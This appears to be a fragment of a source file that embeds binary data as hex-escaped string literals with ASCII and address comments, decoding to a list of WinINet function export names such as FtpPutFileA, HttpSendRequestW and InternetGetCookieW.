"\x65\x41\x00\x46\x72\x65\x65\x55\x72\x6C\x43\x61\x63\x68\x65\x53" //eA.FreeUrlCacheS /* 3D931920 */ "\x70\x61\x63\x65\x57\x00\x46\x74\x70\x43\x6F\x6D\x6D\x61\x6E\x64" //paceW.FtpCommand /* 3D931940 */ "\x41\x00\x46\x74\x70\x43\x6F\x6D\x6D\x61\x6E\x64\x57\x00\x46\x74" //A.FtpCommandW.Ft /* 3D931960 */ "\x70\x43\x72\x65\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79" //pCreateDirectory /* 3D931980 */ "\x41\x00\x46\x74\x70\x43\x72\x65\x61\x74\x65\x44\x69\x72\x65\x63" //A.FtpCreateDirec /* 3D9319A0 */ "\x74\x6F\x72\x79\x57\x00\x46\x74\x70\x44\x65\x6C\x65\x74\x65\x46" //toryW.FtpDeleteF /* 3D9319C0 */ "\x69\x6C\x65\x41\x00\x46\x74\x70\x44\x65\x6C\x65\x74\x65\x46\x69" //ileA.FtpDeleteFi /* 3D9319E0 */ "\x6C\x65\x57\x00\x46\x74\x70\x46\x69\x6E\x64\x46\x69\x72\x73\x74" //leW.FtpFindFirst /* 3D931A00 */ "\x46\x69\x6C\x65\x41\x00\x46\x74\x70\x46\x69\x6E\x64\x46\x69\x72" //FileA.FtpFindFir /* 3D931A20 */ "\x73\x74\x46\x69\x6C\x65\x57\x00\x46\x74\x70\x47\x65\x74\x43\x75" //stFileW.FtpGetCu /* 3D931A40 */ "\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00" //rrentDirectoryA. /* 3D931A60 */ "\x46\x74\x70\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x44\x69\x72" //FtpGetCurrentDir /* 3D931A80 */ "\x65\x63\x74\x6F\x72\x79\x57\x00\x46\x74\x70\x47\x65\x74\x46\x69" //ectoryW.FtpGetFi /* 3D931AA0 */ "\x6C\x65\x41\x00\x46\x74\x70\x47\x65\x74\x46\x69\x6C\x65\x45\x78" //leA.FtpGetFileEx /* 3D931AC0 */ "\x00\x46\x74\x70\x47\x65\x74\x46\x69\x6C\x65\x53\x69\x7A\x65\x00" //.FtpGetFileSize. /* 3D931AE0 */ "\x46\x74\x70\x47\x65\x74\x46\x69\x6C\x65\x57\x00\x46\x74\x70\x4F" //FtpGetFileW.FtpO /* 3D931B00 */ "\x70\x65\x6E\x46\x69\x6C\x65\x41\x00\x46\x74\x70\x4F\x70\x65\x6E" //penFileA.FtpOpen /* 3D931B20 */ "\x46\x69\x6C\x65\x57\x00\x46\x74\x70\x50\x75\x74\x46\x69\x6C\x65" //FileW.FtpPutFile /* 3D931B40 */ "\x41\x00\x46\x74\x70\x50\x75\x74\x46\x69\x6C\x65\x45\x78\x00\x46" //A.FtpPutFileEx.F /* 3D931B60 */ "\x74\x70\x50\x75\x74\x46\x69\x6C\x65\x57\x00\x46\x74\x70\x52\x65" //tpPutFileW.FtpRe /* 3D931B80 */ "\x6D\x6F\x76\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x46" //moveDirectoryA.F /* 3D931BA0 */ "\x74\x70\x52\x65\x6D\x6F\x76\x65\x44\x69\x72\x65\x63\x74\x6F\x72" //tpRemoveDirector /* 3D931BC0 */ "\x79\x57\x00\x46\x74\x70\x52\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65" //yW.FtpRenameFile /* 3D931BE0 */ "\x41\x00\x46\x74\x70\x52\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65\x57" //A.FtpRenameFileW /* 3D931C00 */ "\x00\x46\x74\x70\x53\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x44\x69" //.FtpSetCurrentDi /* 3D931C20 */ "\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x46\x74\x70\x53\x65\x74\x43" //rectoryA.FtpSetC /* 3D931C40 */ "\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57" //urrentDirectoryW /* 3D931C60 */ "\x00\x47\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x43\x6F\x6E\x66" //.GetUrlCacheConf /* 3D931C80 */ "\x69\x67\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x55\x72\x6C\x43\x61" //igInfoA.GetUrlCa /* 3D931CA0 */ "\x63\x68\x65\x43\x6F\x6E\x66\x69\x67\x49\x6E\x66\x6F\x57\x00\x47" //cheConfigInfoW.G /* 3D931CC0 */ "\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x49" //etUrlCacheEntryI /* 3D931CE0 */ "\x6E\x66\x6F\x41\x00\x47\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65" //nfoA.GetUrlCache /* 3D931D00 */ "\x45\x6E\x74\x72\x79\x49\x6E\x66\x6F\x45\x78\x41\x00\x47\x65\x74" //EntryInfoExA.Get /* 3D931D20 */ "\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x49\x6E\x66" //UrlCacheEntryInf /* 3D931D40 */ "\x6F\x45\x78\x57\x00\x47\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65" //oExW.GetUrlCache /* 3D931D60 */ "\x45\x6E\x74\x72\x79\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x55\x72" //EntryInfoW.GetUr /* 3D931D80 */ "\x6C\x43\x61\x63\x68\x65\x47\x72\x6F\x75\x70\x41\x74\x74\x72\x69" //lCacheGroupAttri /* 3D931DA0 */ "\x62\x75\x74\x65\x41\x00\x47\x65\x74\x55\x72\x6C\x43\x61\x63\x68" //buteA.GetUrlCach /* 3D931DC0 */ "\x65\x47\x72\x6F\x75\x70\x41\x74\x74\x72\x69\x62\x75\x74\x65\x57" //eGroupAttributeW /* 3D931DE0 */ "\x00\x47\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x48\x65\x61\x64" //.GetUrlCacheHead /* 3D931E00 */ "\x65\x72\x44\x61\x74\x61\x00\x47\x6F\x70\x68\x65\x72\x43\x72\x65" //erData.GopherCre /* 3D931E20 */ "\x61\x74\x65\x4C\x6F\x63\x61\x74\x6F\x72\x41\x00\x47\x6F\x70\x68" //ateLocatorA.Goph /* 3D931E40 */ "\x65\x72\x43\x72\x65\x61\x74\x65\x4C\x6F\x63\x61\x74\x6F\x72\x57" //erCreateLocatorW /* 3D931E60 */ "\x00\x47\x6F\x70\x68\x65\x72\x46\x69\x6E\x64\x46\x69\x72\x73\x74" //.GopherFindFirst /* 3D931E80 */ "\x46\x69\x6C\x65\x41\x00\x47\x6F\x70\x68\x65\x72\x46\x69\x6E\x64" //FileA.GopherFind /* 3D931EA0 */ "\x46\x69\x72\x73\x74\x46\x69\x6C\x65\x57\x00\x47\x6F\x70\x68\x65" //FirstFileW.Gophe /* 3D931EC0 */ "\x72\x47\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x41\x00\x47" //rGetAttributeA.G /* 3D931EE0 */ "\x6F\x70\x68\x65\x72\x47\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74" //opherGetAttribut /* 3D931F00 */ "\x65\x57\x00\x47\x6F\x70\x68\x65\x72\x47\x65\x74\x4C\x6F\x63\x61" //eW.GopherGetLoca /* 3D931F20 */ "\x74\x6F\x72\x54\x79\x70\x65\x41\x00\x47\x6F\x70\x68\x65\x72\x47" //torTypeA.GopherG /* 3D931F40 */ "\x65\x74\x4C\x6F\x63\x61\x74\x6F\x72\x54\x79\x70\x65\x57\x00\x47" //etLocatorTypeW.G /* 3D931F60 */ "\x6F\x70\x68\x65\x72\x4F\x70\x65\x6E\x46\x69\x6C\x65\x41\x00\x47" //opherOpenFileA.G /* 3D931F80 */ "\x6F\x70\x68\x65\x72\x4F\x70\x65\x6E\x46\x69\x6C\x65\x57\x00\x48" //opherOpenFileW.H /* 3D931FA0 */ "\x74\x74\x70\x41\x64\x64\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61" //ttpAddRequestHea /* 3D931FC0 */ "\x64\x65\x72\x73\x41\x00\x48\x74\x74\x70\x41\x64\x64\x52\x65\x71" //dersA.HttpAddReq /* 3D931FE0 */ "\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x73\x57\x00\x48\x74\x74" //uestHeadersW.Htt /* 3D932000 */ "\x70\x43\x68\x65\x63\x6B\x44\x61\x76\x43\x6F\x6D\x70\x6C\x69\x61" //pCheckDavComplia /* 3D932020 */ "\x6E\x63\x65\x00\x48\x74\x74\x70\x45\x6E\x64\x52\x65\x71\x75\x65" //nce.HttpEndReque /* 3D932040 */ "\x73\x74\x41\x00\x48\x74\x74\x70\x45\x6E\x64\x52\x65\x71\x75\x65" //stA.HttpEndReque /* 3D932060 */ "\x73\x74\x57\x00\x48\x74\x74\x70\x4F\x70\x65\x6E\x52\x65\x71\x75" //stW.HttpOpenRequ /* 3D932080 */ "\x65\x73\x74\x41\x00\x48\x74\x74\x70\x4F\x70\x65\x6E\x52\x65\x71" //estA.HttpOpenReq /* 3D9320A0 */ "\x75\x65\x73\x74\x57\x00\x48\x74\x74\x70\x51\x75\x65\x72\x79\x49" //uestW.HttpQueryI /* 3D9320C0 */ "\x6E\x66\x6F\x41\x00\x48\x74\x74\x70\x51\x75\x65\x72\x79\x49\x6E" //nfoA.HttpQueryIn /* 3D9320E0 */ "\x66\x6F\x57\x00\x48\x74\x74\x70\x53\x65\x6E\x64\x52\x65\x71\x75" //foW.HttpSendRequ /* 3D932100 */ "\x65\x73\x74\x41\x00\x48\x74\x74\x70\x53\x65\x6E\x64\x52\x65\x71" //estA.HttpSendReq /* 3D932120 */ "\x75\x65\x73\x74\x45\x78\x41\x00\x48\x74\x74\x70\x53\x65\x6E\x64" //uestExA.HttpSend /* 3D932140 */ "\x52\x65\x71\x75\x65\x73\x74\x45\x78\x57\x00\x48\x74\x74\x70\x53" //RequestExW.HttpS /* 3D932160 */ "\x65\x6E\x64\x52\x65\x71\x75\x65\x73\x74\x57\x00\x49\x6E\x63\x72" //endRequestW.Incr /* 3D932180 */ "\x65\x6D\x65\x6E\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x48\x65\x61" //ementUrlCacheHea /* 3D9321A0 */ "\x64\x65\x72\x44\x61\x74\x61\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //derData.Internet /* 3D9321C0 */ "\x41\x6C\x67\x49\x64\x54\x6F\x53\x74\x72\x69\x6E\x67\x41\x00\x49" //AlgIdToStringA.I /* 3D9321E0 */ "\x6E\x74\x65\x72\x6E\x65\x74\x41\x6C\x67\x49\x64\x54\x6F\x53\x74" //nternetAlgIdToSt /* 3D932200 */ "\x72\x69\x6E\x67\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x41\x74" //ringW.InternetAt /* 3D932220 */ "\x74\x65\x6D\x70\x74\x43\x6F\x6E\x6E\x65\x63\x74\x00\x49\x6E\x74" //temptConnect.Int /* 3D932240 */ "\x65\x72\x6E\x65\x74\x41\x75\x74\x6F\x64\x69\x61\x6C\x00\x49\x6E" //ernetAutodial.In /* 3D932260 */ "\x74\x65\x72\x6E\x65\x74\x41\x75\x74\x6F\x64\x69\x61\x6C\x43\x61" //ternetAutodialCa /* 3D932280 */ "\x6C\x6C\x62\x61\x63\x6B\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x41" //llback.InternetA /* 3D9322A0 */ "\x75\x74\x6F\x64\x69\x61\x6C\x48\x61\x6E\x67\x75\x70\x00\x49\x6E" //utodialHangup.In /* 3D9322C0 */ "\x74\x65\x72\x6E\x65\x74\x43\x61\x6E\x6F\x6E\x69\x63\x61\x6C\x69" //ternetCanonicali /* 3D9322E0 */ "\x7A\x65\x55\x72\x6C\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43" //zeUrlA.InternetC /* 3D932300 */ "\x61\x6E\x6F\x6E\x69\x63\x61\x6C\x69\x7A\x65\x55\x72\x6C\x57\x00" //anonicalizeUrlW. /* 3D932320 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x68\x65\x63\x6B\x43\x6F\x6E" //InternetCheckCon /* 3D932340 */ "\x6E\x65\x63\x74\x69\x6F\x6E\x41\x00\x49\x6E\x74\x65\x72\x6E\x65" //nectionA.Interne /* 3D932360 */ "\x74\x43\x68\x65\x63\x6B\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E" //tCheckConnection /* 3D932380 */ "\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x65\x61\x72\x41" //W.InternetClearA /* 3D9323A0 */ "\x6C\x6C\x50\x65\x72\x53\x69\x74\x65\x43\x6F\x6F\x6B\x69\x65\x44" //llPerSiteCookieD /* 3D9323C0 */ "\x65\x63\x69\x73\x69\x6F\x6E\x73\x00\x49\x6E\x74\x65\x72\x6E\x65" //ecisions.Interne /* 3D9323E0 */ "\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64\x6C\x65\x00\x49\x6E\x74" //tCloseHandle.Int /* 3D932400 */ "\x65\x72\x6E\x65\x74\x43\x6F\x6D\x62\x69\x6E\x65\x55\x72\x6C\x41" //ernetCombineUrlA /* 3D932420 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6F\x6D\x62\x69\x6E\x65" //.InternetCombine /* 3D932440 */ "\x55\x72\x6C\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6F\x6E" //UrlW.InternetCon /* 3D932460 */ "\x66\x69\x72\x6D\x5A\x6F\x6E\x65\x43\x72\x6F\x73\x73\x69\x6E\x67" //firmZoneCrossing /* 3D932480 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6F\x6E\x66\x69\x72\x6D" //.InternetConfirm /* 3D9324A0 */ "\x5A\x6F\x6E\x65\x43\x72\x6F\x73\x73\x69\x6E\x67\x41\x00\x49\x6E" //ZoneCrossingA.In /* 3D9324C0 */ "\x74\x65\x72\x6E\x65\x74\x43\x6F\x6E\x66\x69\x72\x6D\x5A\x6F\x6E" //ternetConfirmZon /* 3D9324E0 */ "\x65\x43\x72\x6F\x73\x73\x69\x6E\x67\x57\x00\x49\x6E\x74\x65\x72" //eCrossingW.Inter /* 3D932500 */ "\x6E\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x41\x00\x49\x6E\x74\x65" //netConnectA.Inte /* 3D932520 */ "\x72\x6E\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x57\x00\x49\x6E\x74" //rnetConnectW.Int /* 3D932540 */ "\x65\x72\x6E\x65\x74\x43\x72\x61\x63\x6B\x55\x72\x6C\x41\x00\x49" //ernetCrackUrlA.I /* 3D932560 */ "\x6E\x74\x65\x72\x6E\x65\x74\x43\x72\x61\x63\x6B\x55\x72\x6C\x57" //nternetCrackUrlW /* 3D932580 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x72\x65\x61\x74\x65\x55" //.InternetCreateU /* 3D9325A0 */ "\x72\x6C\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x72\x65\x61" //rlA.InternetCrea /* 3D9325C0 */ "\x74\x65\x55\x72\x6C\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x44" //teUrlW.InternetD /* 3D9325E0 */ "\x69\x61\x6C\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x44\x69\x61\x6C" //ial.InternetDial /* 3D932600 */ "\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x44\x69\x61\x6C\x57\x00" //A.InternetDialW. /* 3D932620 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x45\x6E\x75\x6D\x50\x65\x72\x53" //InternetEnumPerS /* 3D932640 */ "\x69\x74\x65\x43\x6F\x6F\x6B\x69\x65\x44\x65\x63\x69\x73\x69\x6F" //iteCookieDecisio /* 3D932660 */ "\x6E\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x45\x6E\x75\x6D\x50" //nA.InternetEnumP /* 3D932680 */ "\x65\x72\x53\x69\x74\x65\x43\x6F\x6F\x6B\x69\x65\x44\x65\x63\x69" //erSiteCookieDeci /* 3D9326A0 */ "\x73\x69\x6F\x6E\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x45\x72" //sionW.InternetEr /* 3D9326C0 */ "\x72\x6F\x72\x44\x6C\x67\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x46" //rorDlg.InternetF /* 3D9326E0 */ "\x69\x6E\x64\x4E\x65\x78\x74\x46\x69\x6C\x65\x41\x00\x49\x6E\x74" //indNextFileA.Int /* 3D932700 */ "\x65\x72\x6E\x65\x74\x46\x69\x6E\x64\x4E\x65\x78\x74\x46\x69\x6C" //ernetFindNextFil /* 3D932720 */ "\x65\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x46\x6F\x72\x74\x65" //eW.InternetForte /* 3D932740 */ "\x7A\x7A\x61\x43\x6F\x6D\x6D\x61\x6E\x64\x00\x49\x6E\x74\x65\x72" //zzaCommand.Inter /* 3D932760 */ "\x6E\x65\x74\x47\x65\x74\x43\x65\x72\x74\x42\x79\x55\x52\x4C\x00" //netGetCertByURL. /* 3D932780 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x43\x65\x72\x74\x42" //InternetGetCertB /* 3D9327A0 */ "\x79\x55\x52\x4C\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65" //yURLA.InternetGe /* 3D9327C0 */ "\x74\x43\x6F\x6E\x6E\x65\x63\x74\x65\x64\x53\x74\x61\x74\x65\x00" //tConnectedState. /* 3D9327E0 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x43\x6F\x6E\x6E\x65" //InternetGetConne /* 3D932800 */ "\x63\x74\x65\x64\x53\x74\x61\x74\x65\x45\x78\x00\x49\x6E\x74\x65" //ctedStateEx.Inte /* 3D932820 */ "\x72\x6E\x65\x74\x47\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x65\x64" //rnetGetConnected /* 3D932840 */ "\x53\x74\x61\x74\x65\x45\x78\x41\x00\x49\x6E\x74\x65\x72\x6E\x65" //StateExA.Interne /* 3D932860 */ "\x74\x47\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x65\x64\x53\x74\x61" //tGetConnectedSta /* 3D932880 */ "\x74\x65\x45\x78\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65" //teExW.InternetGe /* 3D9328A0 */ "\x74\x43\x6F\x6F\x6B\x69\x65\x41\x00\x49\x6E\x74\x65\x72\x6E\x65" //tCookieA.Interne /* 3D9328C0 */ "\x74\x47\x65\x74\x43\x6F\x6F\x6B\x69\x65\x45\x78\x41\x00\x49\x6E" //tGetCookieExA.In /* 3D9328E0 */ "\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x43\x6F\x6F\x6B\x69\x65\x45" //ternetGetCookieE /* 3D932900 */ "\x78\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x43\x6F" //xW.InternetGetCo /* 3D932920 */ "\x6F\x6B\x69\x65\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65" //okieW.InternetGe /* 3D932940 */ "\x74\x4C\x61\x73\x74\x52\x65\x73\x70\x6F\x6E\x73\x65\x49\x6E\x66" //tLastResponseInf /* 3D932960 */ "\x6F\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x4C\x61" //oA.InternetGetLa /* 3D932980 */ "\x73\x74\x52\x65\x73\x70\x6F\x6E\x73\x65\x49\x6E\x66\x6F\x57\x00" //stResponseInfoW. /* 3D9329A0 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x50\x65\x72\x53\x69" //InternetGetPerSi /* 3D9329C0 */ "\x74\x65\x43\x6F\x6F\x6B\x69\x65\x44\x65\x63\x69\x73\x69\x6F\x6E" //teCookieDecision /* 3D9329E0 */ "\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x50\x65\x72" //A.InternetGetPer /* 3D932A00 */ "\x53\x69\x74\x65\x43\x6F\x6F\x6B\x69\x65\x44\x65\x63\x69\x73\x69" //SiteCookieDecisi /* 3D932A20 */ "\x6F\x6E\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x53" //onW.InternetGetS /* 3D932A40 */ "\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C" //ecurityInfoByURL /* 3D932A60 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x53\x65\x63\x75" //.InternetGetSecu /* 3D932A80 */ "\x72\x69\x74\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C\x41\x00\x49" //rityInfoByURLA.I /* 3D932AA0 */ "\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x53\x65\x63\x75\x72\x69" //nternetGetSecuri /* 3D932AC0 */ "\x74\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C\x57\x00\x49\x6E\x74" //tyInfoByURLW.Int /* 3D932AE0 */ "\x65\x72\x6E\x65\x74\x47\x6F\x4F\x6E\x6C\x69\x6E\x65\x00\x49\x6E" //ernetGoOnline.In /* 3D932B00 */ "\x74\x65\x72\x6E\x65\x74\x47\x6F\x4F\x6E\x6C\x69\x6E\x65\x41\x00" //ternetGoOnlineA. /* 3D932B20 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x6F\x4F\x6E\x6C\x69\x6E\x65" //InternetGoOnline /* 3D932B40 */ "\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x48\x61\x6E\x67\x55\x70" //W.InternetHangUp /* 3D932B60 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x49\x6E\x69\x74\x69\x61\x6C" //.InternetInitial /* 3D932B80 */ "\x69\x7A\x65\x41\x75\x74\x6F\x50\x72\x6F\x78\x79\x44\x6C\x6C\x00" //izeAutoProxyDll. /* 3D932BA0 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x4C\x6F\x63\x6B\x52\x65\x71\x75" //InternetLockRequ /* 3D932BC0 */ "\x65\x73\x74\x46\x69\x6C\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //estFile.Internet /* 3D932BE0 */ "\x4F\x70\x65\x6E\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70" //OpenA.InternetOp /* 3D932C00 */ "\x65\x6E\x55\x72\x6C\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F" //enUrlA.InternetO /* 3D932C20 */ "\x70\x65\x6E\x55\x72\x6C\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //penUrlW.Internet /* 3D932C40 */ "\x4F\x70\x65\x6E\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x51\x75" //OpenW.InternetQu /* 3D932C60 */ "\x65\x72\x79\x44\x61\x74\x61\x41\x76\x61\x69\x6C\x61\x62\x6C\x65" //eryDataAvailable /* 3D932C80 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x51\x75\x65\x72\x79\x46\x6F" //.InternetQueryFo /* 3D932CA0 */ "\x72\x74\x65\x7A\x7A\x61\x53\x74\x61\x74\x75\x73\x00\x49\x6E\x74" //rtezzaStatus.Int /* 3D932CC0 */ "\x65\x72\x6E\x65\x74\x51\x75\x65\x72\x79\x4F\x70\x74\x69\x6F\x6E" //ernetQueryOption /* 3D932CE0 */ "\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x51\x75\x65\x72\x79\x4F" //A.InternetQueryO /* 3D932D00 */ "\x70\x74\x69\x6F\x6E\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x52" //ptionW.InternetR /* 3D932D20 */ "\x65\x61\x64\x46\x69\x6C\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //eadFile.Internet /* 3D932D40 */ "\x52\x65\x61\x64\x46\x69\x6C\x65\x45\x78\x41\x00\x49\x6E\x74\x65" //ReadFileExA.Inte /* 3D932D60 */ "\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x45\x78\x57\x00" //rnetReadFileExW. /* 3D932D80 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79" //InternetSecurity /* 3D932DA0 */ "\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x54\x6F\x53\x74\x72\x69\x6E\x67" //ProtocolToString /* 3D932DC0 */ "\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x63\x75\x72\x69" //A.InternetSecuri /* 3D932DE0 */ "\x74\x79\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x54\x6F\x53\x74\x72\x69" //tyProtocolToStri /* 3D932E00 */ "\x6E\x67\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x43" //ngW.InternetSetC /* 3D932E20 */ "\x6F\x6F\x6B\x69\x65\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53" //ookieA.InternetS /* 3D932E40 */ "\x65\x74\x43\x6F\x6F\x6B\x69\x65\x45\x78\x41\x00\x49\x6E\x74\x65" //etCookieExA.Inte /* 3D932E60 */ "\x72\x6E\x65\x74\x53\x65\x74\x43\x6F\x6F\x6B\x69\x65\x45\x78\x57" //rnetSetCookieExW /* 3D932E80 */ "\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x43\x6F\x6F\x6B" //.InternetSetCook /* 3D932EA0 */ "\x69\x65\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x44" //ieW.InternetSetD /* 3D932EC0 */ "\x69\x61\x6C\x53\x74\x61\x74\x65\x00\x49\x6E\x74\x65\x72\x6E\x65" //ialState.Interne /* 3D932EE0 */ "\x74\x53\x65\x74\x44\x69\x61\x6C\x53\x74\x61\x74\x65\x41\x00\x49" //tSetDialStateA.I /* 3D932F00 */ "\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x44\x69\x61\x6C\x53\x74" //nternetSetDialSt /* 3D932F20 */ "\x61\x74\x65\x57\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74" //ateW.InternetSet /* 3D932F40 */ "\x46\x69\x6C\x65\x50\x6F\x69\x6E\x74\x65\x72\x00\x49\x6E\x74\x65" //FilePointer.Inte /* 3D932F60 */ "\x72\x6E\x65\x74\x53\x65\x74\x4F\x70\x74\x69\x6F\x6E\x41\x00\x49" //rnetSetOptionA.I /* 3D932F80 */ "\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x4F\x70\x74\x69\x6F\x6E" //nternetSetOption /* 3D932FA0 */ "\x45\x78\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x4F" //ExA.InternetSetO /* 3D932FC0 */ "\x70\x74\x69\x6F\x6E\x45\x78\x57\x00\x49\x6E\x74\x65\x72\x6E\x65" //ptionExW.Interne /* 3D932FE0 */ "\x74\x53\x65\x74\x4F\x70\x74\x69\x6F\x6E\x57\x00\x49\x6E\x74\x65" //tSetOptionW.Inte /* 3D933000 */ "\x72\x6E\x65\x74\x53\x65\x74\x50\x65\x72\x53\x69\x74\x65\x43\x6F" //rnetSetPerSiteCo /* 3D933020 */ "\x6F\x6B\x69\x65\x44\x65\x63\x69\x73\x69\x6F\x6E\x41\x00\x49\x6E" //okieDecisionA.In /* 3D933040 */ "\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x50\x65\x72\x53\x69\x74\x65" //ternetSetPerSite /* 3D933060 */ "\x43\x6F\x6F\x6B\x69\x65\x44\x65\x63\x69\x73\x69\x6F\x6E\x57\x00" //CookieDecisionW. /* 3D933080 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x53\x74\x61\x74\x75" //InternetSetStatu /* 3D9330A0 */ "\x73\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x49\x6E\x74\x65\x72\x6E" //sCallback.Intern /* 3D9330C0 */ "\x65\x74\x53\x65\x74\x53\x74\x61\x74\x75\x73\x43\x61\x6C\x6C\x62" //etSetStatusCallb /* 3D9330E0 */ "\x61\x63\x6B\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x65\x74" //ackA.InternetSet /* 3D933100 */ "\x53\x74\x61\x74\x75\x73\x43\x61\x6C\x6C\x62\x61\x63\x6B\x57\x00" //StatusCallbackW. /* 3D933120 */ "\x49\x6E\x74\x65\x72\x6E\x65\x74\x53\x68\x6F\x77\x53\x65\x63\x75" //InternetShowSecu /* 3D933140 */ "\x72\x69\x74\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C\x00\x49\x6E" //rityInfoByURL.In /* 3D933160 */ "\x74\x65\x72\x6E\x65\x74\x53\x68\x6F\x77\x53\x65\x63\x75\x72\x69" //ternetShowSecuri /* 3D933180 */ "\x74\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C\x41\x00\x49\x6E\x74" //tyInfoByURLA.Int /* 3D9331A0 */ "\x65\x72\x6E\x65\x74\x53\x68\x6F\x77\x53\x65\x63\x75\x72\x69\x74" //ernetShowSecurit /* 3D9331C0 */ "\x79\x49\x6E\x66\x6F\x42\x79\x55\x52\x4C\x57\x00\x49\x6E\x74\x65" //yInfoByURLW.Inte /* 3D9331E0 */ "\x72\x6E\x65\x74\x54\x69\x6D\x65\x46\x72\x6F\x6D\x53\x79\x73\x74" //rnetTimeFromSyst /* 3D933200 */ 